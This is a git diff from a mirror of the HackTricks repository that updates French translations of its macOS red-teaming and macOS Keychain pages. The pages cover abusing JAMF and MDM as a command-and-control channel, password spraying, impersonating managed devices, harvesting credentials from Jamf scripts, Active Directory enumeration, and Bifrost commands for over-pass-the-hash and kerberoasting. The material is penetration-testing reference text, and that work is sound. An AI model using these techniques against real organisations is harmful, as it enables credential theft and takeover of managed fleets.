mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 20:53:37 +00:00
Translated ['macos-hardening/macos-red-teaming/README.md', 'macos-harden
This commit is contained in:
parent
de12e18bb1
commit
62bd3d879c
3 changed files with 283 additions and 165 deletions
|
@ -1,69 +1,69 @@
|
|||
# Red Team macOS
|
||||
# macOS Red Teaming
|
||||
|
||||
{% hint style="success" %}
|
||||
Apprenez et pratiquez le piratage AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Formation HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le piratage GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Formation HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Soutenez HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Abus des MDM
|
||||
## Abusing MDMs
|
||||
|
||||
* JAMF Pro : `jamf checkJSSConnection`
|
||||
* JAMF Pro: `jamf checkJSSConnection`
|
||||
* Kandji
|
||||
|
||||
Si vous parvenez à **compromettre les identifiants d'administrateur** pour accéder à la plateforme de gestion, vous pouvez **potentiellement compromettre tous les ordinateurs** en distribuant votre logiciel malveillant sur les machines.
|
||||
Si vous parvenez à **compromettre les identifiants administratifs** pour accéder à la plateforme de gestion, vous pouvez **potentiellement compromettre tous les ordinateurs** en distribuant votre malware sur les machines.
|
||||
|
||||
Pour le red teaming dans les environnements macOS, il est fortement recommandé de comprendre le fonctionnement des MDM :
|
||||
Pour le red teaming dans les environnements MacOS, il est fortement recommandé d'avoir une certaine compréhension du fonctionnement des MDM :
|
||||
|
||||
{% content-ref url="macos-mdm/" %}
|
||||
[macos-mdm](macos-mdm/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Utilisation de MDM comme C2
|
||||
### Using MDM as a C2
|
||||
|
||||
Un MDM aura l'autorisation d'installer, interroger ou supprimer des profils, installer des applications, créer des comptes administrateurs locaux, définir un mot de passe de firmware, changer la clé FileVault...
|
||||
Un MDM aura la permission d'installer, de consulter ou de supprimer des profils, d'installer des applications, de créer des comptes administratifs locaux, de définir un mot de passe firmware, de changer la clé FileVault...
|
||||
|
||||
Pour exécuter votre propre MDM, vous devez **faire signer votre CSR par un vendeur** que vous pourriez essayer d'obtenir avec [**https://mdmcert.download/**](https://mdmcert.download/). Et pour exécuter votre propre MDM pour les appareils Apple, vous pourriez utiliser [**MicroMDM**](https://github.com/micromdm/micromdm).
|
||||
Pour exécuter votre propre MDM, vous devez **faire signer votre CSR par un fournisseur**, ce que vous pourriez essayer d'obtenir avec [**https://mdmcert.download/**](https://mdmcert.download/). Et pour exécuter votre propre MDM pour les appareils Apple, vous pourriez utiliser [**MicroMDM**](https://github.com/micromdm/micromdm).
|
||||
|
||||
Cependant, pour installer une application sur un appareil inscrit, vous devez toujours la faire signer par un compte développeur... cependant, lors de l'inscription au MDM, le **dispositif ajoute le certificat SSL du MDM en tant qu'AC de confiance**, vous pouvez donc maintenant signer n'importe quoi.
|
||||
Cependant, pour installer une application sur un appareil inscrit, vous devez toujours qu'elle soit signée par un compte développeur... cependant, lors de l'inscription au MDM, **l'appareil ajoute le certificat SSL du MDM en tant qu'AC de confiance**, vous pouvez donc maintenant signer n'importe quoi.
|
||||
|
||||
Pour inscrire le dispositif dans un MDM, vous devez installer un fichier **`mobileconfig`** en tant que root, qui pourrait être livré via un fichier **pkg** (vous pourriez le compresser en zip et lorsqu'il est téléchargé depuis Safari, il sera décompressé).
|
||||
Pour inscrire l'appareil dans un MDM, vous devez installer un fichier **`mobileconfig`** en tant que root, qui pourrait être livré via un fichier **pkg** (vous pourriez le compresser en zip et lorsqu'il est téléchargé depuis Safari, il sera décompressé).
|
||||
|
||||
L'agent Mythic Orthrus utilise cette technique.
|
||||
**Mythic agent Orthrus** utilise cette technique.
|
||||
|
||||
### Abus de JAMF PRO
|
||||
### Abusing JAMF PRO
|
||||
|
||||
JAMF peut exécuter des **scripts personnalisés** (scripts développés par l'administrateur système), des **charges utiles natives** (création de compte local, définition du mot de passe EFI, surveillance de fichiers/processus...) et des **MDM** (configurations de dispositif, certificats de dispositif...).
|
||||
JAMF peut exécuter **des scripts personnalisés** (scripts développés par l'administrateur système), **des charges utiles natives** (création de compte local, définition de mot de passe EFI, surveillance de fichiers/processus...) et **MDM** (configurations d'appareil, certificats d'appareil...).
|
||||
|
||||
#### Auto-inscription JAMF
|
||||
#### JAMF self-enrolment
|
||||
|
||||
Allez sur une page comme `https://<nom-de-l'entreprise>.jamfcloud.com/enroll/` pour voir si **l'auto-inscription est activée**. S'ils l'ont, il pourrait **demander des identifiants pour accéder**.
|
||||
Allez sur une page telle que `https://<company-name>.jamfcloud.com/enroll/` pour voir s'ils ont **l'auto-inscription activée**. Si c'est le cas, cela pourrait **demander des identifiants pour accéder**.
|
||||
|
||||
Vous pourriez utiliser le script [**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py) pour effectuer une attaque de pulvérisation de mot de passe.
|
||||
Vous pourriez utiliser le script [**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py) pour effectuer une attaque par pulvérisation de mots de passe.
|
||||
|
||||
De plus, après avoir trouvé les identifiants appropriés, vous pourriez être en mesure de faire une attaque de force brute sur d'autres noms d'utilisateur avec le formulaire suivant :
|
||||
De plus, après avoir trouvé des identifiants appropriés, vous pourriez être en mesure de forcer d'autres noms d'utilisateur avec le formulaire suivant :
|
||||
|
||||
![](<../../.gitbook/assets/image (107).png>)
|
||||
|
||||
#### Authentification de dispositif JAMF
|
||||
#### JAMF device Authentication
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (167).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Le binaire **`jamf`** contenait le secret pour ouvrir le trousseau qui, au moment de la découverte, était **partagé** par tout le monde et c'était : **`jk23ucnq91jfu9aj`**.\
|
||||
Le binaire **`jamf`** contenait le secret pour ouvrir le trousseau qui, au moment de la découverte, était **partagé** entre tout le monde et c'était : **`jk23ucnq91jfu9aj`**.\
|
||||
De plus, jamf **persiste** en tant que **LaunchDaemon** dans **`/Library/LaunchAgents/com.jamf.management.agent.plist`**
|
||||
|
||||
#### Prise de contrôle de dispositif JAMF
|
||||
#### JAMF Device Takeover
|
||||
|
||||
L'URL du **JSS** (Jamf Software Server) que **`jamf`** utilisera est située dans **`/Library/Preferences/com.jamfsoftware.jamf.plist`**.\
|
||||
L'**URL** **JSS** (Jamf Software Server) que **`jamf`** utilisera se trouve dans **`/Library/Preferences/com.jamfsoftware.jamf.plist`**.\
|
||||
Ce fichier contient essentiellement l'URL :
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
|
@ -81,7 +81,9 @@ plutil -convert xml1 -o - /Library/Preferences/com.jamfsoftware.jamf.plist
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Ainsi, un attaquant pourrait déposer un package malveillant (`pkg`) qui **écrase ce fichier** lors de l'installation en définissant l'**URL vers un écouteur Mythic C2 à partir d'un agent Typhon** pour pouvoir maintenant abuser de JAMF en tant que C2.
|
||||
Ainsi, un attaquant pourrait déposer un paquet malveillant (`pkg`) qui **écrase ce fichier** lors de l'installation en définissant l'**URL vers un écouteur Mythic C2 d'un agent Typhon** pour pouvoir maintenant abuser de JAMF en tant que C2.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# After changing the URL you could wait for it to be reloaded or execute:
|
||||
sudo jamf policy -id 0
|
||||
|
@ -90,28 +92,28 @@ sudo jamf policy -id 0
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
#### Impersonation de JAMF
|
||||
#### Usurpation de JAMF
|
||||
|
||||
Pour **impersonner la communication** entre un appareil et JMF, vous avez besoin de :
|
||||
Pour **usurper la communication** entre un appareil et JMF, vous avez besoin de :
|
||||
|
||||
* L'**UUID** de l'appareil : `ioreg -d2 -c IOPlatformExpertDevice | awk -F" '/IOPlatformUUID/{print $(NF-1)}'`
|
||||
* Le **trousseau JAMF** depuis : `/Library/Application\ Support/Jamf/JAMF.keychain` qui contient le certificat de l'appareil
|
||||
* Le **UUID** de l'appareil : `ioreg -d2 -c IOPlatformExpertDevice | awk -F" '/IOPlatformUUID/{print $(NF-1)}'`
|
||||
* Le **trousseau JAMF** de : `/Library/Application\ Support/Jamf/JAMF.keychain` qui contient le certificat de l'appareil
|
||||
|
||||
Avec ces informations, **créez une machine virtuelle** avec l'**UUID matériel volé** et avec **SIP désactivé**, déposez le **trousseau JAMF**, **accrochez** l'**agent Jamf** et volez ses informations.
|
||||
Avec ces informations, **créez une VM** avec le **UUID** matériel **volé** et avec **SIP désactivé**, déposez le **trousseau JAMF,** **interceptez** l'**agent** Jamf et volez ses informations.
|
||||
|
||||
#### Vol de secrets
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1025).png" alt=""><figcaption><p>a</p></figcaption></figure>
|
||||
|
||||
Vous pouvez également surveiller l'emplacement `/Library/Application Support/Jamf/tmp/` pour les **scripts personnalisés** que les administrateurs pourraient vouloir exécuter via Jamf car ils sont **placés ici, exécutés et supprimés**. Ces scripts **pourraient contenir des identifiants**.
|
||||
Vous pouvez également surveiller l'emplacement `/Library/Application Support/Jamf/tmp/` pour les **scripts personnalisés** que les administrateurs pourraient vouloir exécuter via Jamf, car ils sont **placés ici, exécutés et supprimés**. Ces scripts **pourraient contenir des identifiants**.
|
||||
|
||||
Cependant, les **identifiants** pourraient être transmis à ces scripts en tant que **paramètres**, donc vous devriez surveiller `ps aux | grep -i jamf` (même sans être root).
|
||||
Cependant, les **identifiants** pourraient être passés à ces scripts en tant que **paramètres**, donc vous devrez surveiller `ps aux | grep -i jamf` (sans même être root).
|
||||
|
||||
Le script [**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py) peut écouter les nouveaux fichiers ajoutés et les nouveaux arguments de processus.
|
||||
|
||||
### Accès à distance sur macOS
|
||||
### Accès à distance macOS
|
||||
|
||||
Et aussi sur les **protocoles** **réseau** **"spéciaux"** de **MacOS** :
|
||||
Et aussi sur les **protocoles** **réseau** "spéciaux" de **MacOS** :
|
||||
|
||||
{% content-ref url="../macos-security-and-privilege-escalation/macos-protocols.md" %}
|
||||
[macos-protocols.md](../macos-security-and-privilege-escalation/macos-protocols.md)
|
||||
|
@ -119,7 +121,7 @@ Et aussi sur les **protocoles** **réseau** **"spéciaux"** de **MacOS** :
|
|||
|
||||
## Active Directory
|
||||
|
||||
Dans certaines occasions, vous constaterez que l'**ordinateur MacOS est connecté à un AD**. Dans ce scénario, vous devriez essayer d'**énumérer** l'annuaire actif comme vous en avez l'habitude. Trouvez de l'**aide** sur les pages suivantes :
|
||||
Dans certaines occasions, vous constaterez que l'**ordinateur MacOS est connecté à un AD**. Dans ce scénario, vous devriez essayer d'**énumérer** l'annuaire actif comme vous en avez l'habitude. Trouvez de l'**aide** dans les pages suivantes :
|
||||
|
||||
{% content-ref url="../../network-services-pentesting/pentesting-ldap.md" %}
|
||||
[pentesting-ldap.md](../../network-services-pentesting/pentesting-ldap.md)
|
||||
|
@ -133,15 +135,15 @@ Dans certaines occasions, vous constaterez que l'**ordinateur MacOS est connect
|
|||
[pentesting-kerberos-88](../../network-services-pentesting/pentesting-kerberos-88/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Certains **outils locaux MacOS** qui pourraient également vous aider sont `dscl` :
|
||||
Un **outil local MacOS** qui peut également vous aider est `dscl` :
|
||||
```bash
|
||||
dscl "/Active Directory/[Domain]/All Domains" ls /
|
||||
```
|
||||
Également, il existe des outils préparés pour MacOS pour énumérer automatiquement l'AD et jouer avec Kerberos :
|
||||
Aussi, il existe des outils préparés pour MacOS afin d'énumérer automatiquement l'AD et de jouer avec kerberos :
|
||||
|
||||
* [**Machound**](https://github.com/XMCyber/MacHound) : MacHound est une extension de l'outil d'audit Bloodhound permettant de collecter et d'ingérer des relations Active Directory sur des hôtes MacOS.
|
||||
* [**Bifrost**](https://github.com/its-a-feature/bifrost) : Bifrost est un projet Objective-C conçu pour interagir avec les API Heimdal krb5 sur macOS. Le but du projet est de permettre de meilleurs tests de sécurité autour de Kerberos sur les appareils macOS en utilisant des API natives sans nécessiter d'autres frameworks ou packages sur la cible.
|
||||
* [**Orchard**](https://github.com/its-a-feature/Orchard) : Outil JavaScript for Automation (JXA) pour l'énumération de l'Active Directory.
|
||||
* [**Machound**](https://github.com/XMCyber/MacHound) : MacHound est une extension de l'outil d'audit Bloodhound permettant de collecter et d'ingérer les relations Active Directory sur les hôtes MacOS.
|
||||
* [**Bifrost**](https://github.com/its-a-feature/bifrost) : Bifrost est un projet Objective-C conçu pour interagir avec les API Heimdal krb5 sur macOS. L'objectif du projet est de permettre de meilleurs tests de sécurité autour de Kerberos sur les appareils macOS en utilisant des API natives sans nécessiter d'autres frameworks ou packages sur la cible.
|
||||
* [**Orchard**](https://github.com/its-a-feature/Orchard) : Outil JavaScript pour l'automatisation (JXA) pour faire de l'énumération Active Directory.
|
||||
|
||||
### Informations sur le domaine
|
||||
```bash
|
||||
|
@ -151,17 +153,17 @@ echo show com.apple.opendirectoryd.ActiveDirectory | scutil
|
|||
|
||||
Les trois types d'utilisateurs MacOS sont :
|
||||
|
||||
* **Utilisateurs Locaux** — Gérés par le service local OpenDirectory, ils ne sont en aucun cas connectés à l'Active Directory.
|
||||
* **Utilisateurs Réseau** — Utilisateurs volatils de l'Active Directory qui nécessitent une connexion au serveur DC pour s'authentifier.
|
||||
* **Utilisateurs Mobiles** — Utilisateurs de l'Active Directory avec une sauvegarde locale de leurs identifiants et fichiers.
|
||||
* **Utilisateurs Locaux** — Gérés par le service OpenDirectory local, ils ne sont en aucune façon connectés à l'Active Directory.
|
||||
* **Utilisateurs Réseau** — Utilisateurs Active Directory volatils qui nécessitent une connexion au serveur DC pour s'authentifier.
|
||||
* **Utilisateurs Mobiles** — Utilisateurs Active Directory avec une sauvegarde locale pour leurs identifiants et fichiers.
|
||||
|
||||
Les informations locales sur les utilisateurs et les groupes sont stockées dans le dossier _/var/db/dslocal/nodes/Default._\
|
||||
Par exemple, les informations sur l'utilisateur appelé _mark_ sont stockées dans _/var/db/dslocal/nodes/Default/users/mark.plist_ et les informations sur le groupe _admin_ sont dans _/var/db/dslocal/nodes/Default/groups/admin.plist_.
|
||||
Les informations locales sur les utilisateurs et groupes sont stockées dans le dossier _/var/db/dslocal/nodes/Default._\
|
||||
Par exemple, les informations sur l'utilisateur appelé _mark_ sont stockées dans _/var/db/dslocal/nodes/Default/users/mark.plist_ et les informations sur le groupe _admin_ se trouvent dans _/var/db/dslocal/nodes/Default/groups/admin.plist_.
|
||||
|
||||
En plus d'utiliser les arêtes HasSession et AdminTo, **MacHound ajoute trois nouvelles arêtes** à la base de données Bloodhound :
|
||||
En plus d'utiliser les bords HasSession et AdminTo, **MacHound ajoute trois nouveaux bords** à la base de données Bloodhound :
|
||||
|
||||
* **CanSSH** - entité autorisée à se connecter en SSH à l'hôte
|
||||
* **CanVNC** - entité autorisée à se connecter en VNC à l'hôte
|
||||
* **CanSSH** - entité autorisée à SSH vers l'hôte
|
||||
* **CanVNC** - entité autorisée à VNC vers l'hôte
|
||||
* **CanAE** - entité autorisée à exécuter des scripts AppleEvent sur l'hôte
|
||||
```bash
|
||||
#User enumeration
|
||||
|
@ -184,25 +186,56 @@ dscl "/Active Directory/TEST/All Domains" read "/Groups/[groupname]"
|
|||
#Domain Information
|
||||
dsconfigad -show
|
||||
```
|
||||
Plus d'informations sur [https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/](https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/)
|
||||
Plus d'infos sur [https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/](https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/)
|
||||
|
||||
## Accéder au trousseau
|
||||
### Mot de passe de l'ordinateur$
|
||||
|
||||
Il est très probable que le trousseau contienne des informations sensibles qui, s'il est accédé sans générer de demande, pourrait aider à faire avancer un exercice d'équipe rouge :
|
||||
Obtenez des mots de passe en utilisant :
|
||||
```bash
|
||||
bifrost --action askhash --username [name] --password [password] --domain [domain]
|
||||
```
|
||||
Il est possible d'accéder au **`Computer$`** mot de passe à l'intérieur du trousseau de clés Système.
|
||||
|
||||
### Over-Pass-The-Hash
|
||||
|
||||
Obtenez un TGT pour un utilisateur et un service spécifiques :
|
||||
```bash
|
||||
bifrost --action asktgt --username [user] --domain [domain.com] \
|
||||
--hash [hash] --enctype [enctype] --keytab [/path/to/keytab]
|
||||
```
|
||||
Une fois le TGT rassemblé, il est possible de l'injecter dans la session actuelle avec :
|
||||
```bash
|
||||
bifrost --action asktgt --username test_lab_admin \
|
||||
--hash CF59D3256B62EE655F6430B0F80701EE05A0885B8B52E9C2480154AFA62E78 \
|
||||
--enctype aes256 --domain test.lab.local
|
||||
```
|
||||
### Kerberoasting
|
||||
```bash
|
||||
bifrost --action asktgs --spn [service] --domain [domain.com] \
|
||||
--username [user] --hash [hash] --enctype [enctype]
|
||||
```
|
||||
Avec les tickets de service obtenus, il est possible d'essayer d'accéder aux partages sur d'autres ordinateurs :
|
||||
```bash
|
||||
smbutil view //computer.fqdn
|
||||
mount -t smbfs //server/folder /local/mount/point
|
||||
```
|
||||
## Accéder au Trousseau
|
||||
|
||||
Le Trousseau contient très probablement des informations sensibles qui, si elles sont accessibles sans générer de prompt, pourraient aider à faire avancer un exercice de red team :
|
||||
|
||||
{% content-ref url="macos-keychain.md" %}
|
||||
[macos-keychain.md](macos-keychain.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Services externes
|
||||
## Services Externes
|
||||
|
||||
Le Red Teaming sur MacOS est différent d'un Red Teaming Windows classique car **MacOS est généralement intégré à plusieurs plateformes externes directement**. Une configuration courante de MacOS est d'accéder à l'ordinateur en utilisant **les identifiants synchronisés de OneLogin, et d'accéder à plusieurs services externes** (comme github, aws...) via OneLogin.
|
||||
Le Red Teaming sur MacOS est différent d'un Red Teaming Windows classique car généralement **MacOS est intégré à plusieurs plateformes externes directement**. Une configuration courante de MacOS consiste à accéder à l'ordinateur en utilisant **des identifiants synchronisés OneLogin, et à accéder à plusieurs services externes** (comme github, aws...) via OneLogin.
|
||||
|
||||
## Techniques de l'équipe rouge diverses
|
||||
## Techniques Diverses de Red Team
|
||||
|
||||
### Safari
|
||||
|
||||
Lorsqu'un fichier est téléchargé dans Safari, s'il s'agit d'un fichier "sûr", il sera **ouvert automatiquement**. Par exemple, si vous **téléchargez un fichier zip**, il sera automatiquement décompressé :
|
||||
Lorsqu'un fichier est téléchargé dans Safari, s'il s'agit d'un fichier "sûr", il sera **ouvert automatiquement**. Par exemple, si vous **téléchargez un zip**, il sera automatiquement décompressé :
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (226).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -215,16 +248,16 @@ Lorsqu'un fichier est téléchargé dans Safari, s'il s'agit d'un fichier "sûr"
|
|||
* [**OBTS v3.0: "An Attackers Perspective on Jamf Configurations" - Luke Roberts / Calum Hall**](https://www.youtube.com/watch?v=ju1IYWUv4ZA)
|
||||
|
||||
{% hint style="success" %}
|
||||
Apprenez et pratiquez le piratage AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Formation HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le piratage GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Formation HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Apprenez et pratiquez le Hacking AWS :<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le Hacking GCP : <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Soutenez HackTricks</summary>
|
||||
<summary>Soutenir HackTricks</summary>
|
||||
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
|
||||
* **Rejoignez** 💬 [**le groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,16 +1,16 @@
|
|||
# macOS Keychain
|
||||
|
||||
{% hint style="success" %}
|
||||
Apprenez et pratiquez le piratage AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Formation HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le piratage GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Formation HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Soutenez HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
@ -19,69 +19,72 @@ Apprenez et pratiquez le piratage GCP : <img src="/.gitbook/assets/grte.png" alt
|
|||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) est un moteur de recherche alimenté par le **dark web** qui offre des fonctionnalités **gratuites** pour vérifier si une entreprise ou ses clients ont été **compromis** par des **logiciels malveillants voleurs**.
|
||||
[**WhiteIntel**](https://whiteintel.io) est un moteur de recherche alimenté par le **dark-web** qui offre des fonctionnalités **gratuites** pour vérifier si une entreprise ou ses clients ont été **compromis** par des **malwares voleurs**.
|
||||
|
||||
Le but principal de WhiteIntel est de lutter contre les prises de contrôle de compte et les attaques de ransomware résultant de logiciels malveillants voleurs d'informations.
|
||||
Le principal objectif de WhiteIntel est de lutter contre les détournements de compte et les attaques par ransomware résultant de malwares de vol d'informations.
|
||||
|
||||
Vous pouvez consulter leur site Web et essayer leur moteur **gratuitement** sur :
|
||||
Vous pouvez consulter leur site web et essayer leur moteur **gratuitement** à :
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Principaux trousseaux
|
||||
## Main Keychains
|
||||
|
||||
* Le **trousseau utilisateur** (`~/Library/Keychains/login.keycahin-db`), qui est utilisé pour stocker les **informations d'identification spécifiques à l'utilisateur** telles que les mots de passe d'application, les mots de passe Internet, les certificats générés par l'utilisateur, les mots de passe réseau et les clés publiques/privées générées par l'utilisateur.
|
||||
* Le **trousseau système** (`/Library/Keychains/System.keychain`), qui stocke les **informations d'identification à l'échelle du système** telles que les mots de passe WiFi, les certificats racine du système, les clés privées du système et les mots de passe d'application du système.
|
||||
* Le **User Keychain** (`~/Library/Keychains/login.keycahin-db`), qui est utilisé pour stocker des **identifiants spécifiques à l'utilisateur** tels que des mots de passe d'application, des mots de passe Internet, des certificats générés par l'utilisateur, des mots de passe réseau et des clés publiques/privées générées par l'utilisateur.
|
||||
* Le **System Keychain** (`/Library/Keychains/System.keychain`), qui stocke des **identifiants à l'échelle du système** tels que des mots de passe WiFi, des certificats racine du système, des clés privées du système et des mots de passe d'application du système.
|
||||
|
||||
### Accès au trousseau de mots de passe
|
||||
### Password Keychain Access
|
||||
|
||||
Ces fichiers, bien qu'ils ne bénéficient pas d'une protection inhérente et puissent être **téléchargés**, sont chiffrés et nécessitent le **mot de passe en clair de l'utilisateur pour être déchiffrés**. Un outil comme [**Chainbreaker**](https://github.com/n0fate/chainbreaker) pourrait être utilisé pour le déchiffrement.
|
||||
Ces fichiers, bien qu'ils n'aient pas de protection inhérente et puissent être **téléchargés**, sont chiffrés et nécessitent le **mot de passe en clair de l'utilisateur pour être déchiffrés**. Un outil comme [**Chainbreaker**](https://github.com/n0fate/chainbreaker) pourrait être utilisé pour le déchiffrement.
|
||||
|
||||
## Protections des entrées du trousseau
|
||||
## Keychain Entries Protections
|
||||
|
||||
### ACLs
|
||||
|
||||
Chaque entrée dans le trousseau est régie par des **listes de contrôle d'accès (ACL)** qui dictent qui peut effectuer diverses actions sur l'entrée du trousseau, notamment :
|
||||
Chaque entrée dans le trousseau est régie par des **Listes de Contrôle d'Accès (ACLs)** qui dictent qui peut effectuer diverses actions sur l'entrée du trousseau, y compris :
|
||||
|
||||
* **ACLAuhtorizationExportClear** : Permet au détenteur d'obtenir le texte en clair du secret.
|
||||
* **ACLAuhtorizationExportWrapped** : Permet au détenteur d'obtenir le texte en clair chiffré avec un autre mot de passe fourni.
|
||||
* **ACLAuhtorizationAny** : Permet au détenteur d'effectuer n'importe quelle action.
|
||||
* **ACLAuhtorizationExportClear** : Permet au titulaire d'obtenir le texte clair du secret.
|
||||
* **ACLAuhtorizationExportWrapped** : Permet au titulaire d'obtenir le texte clair chiffré avec un autre mot de passe fourni.
|
||||
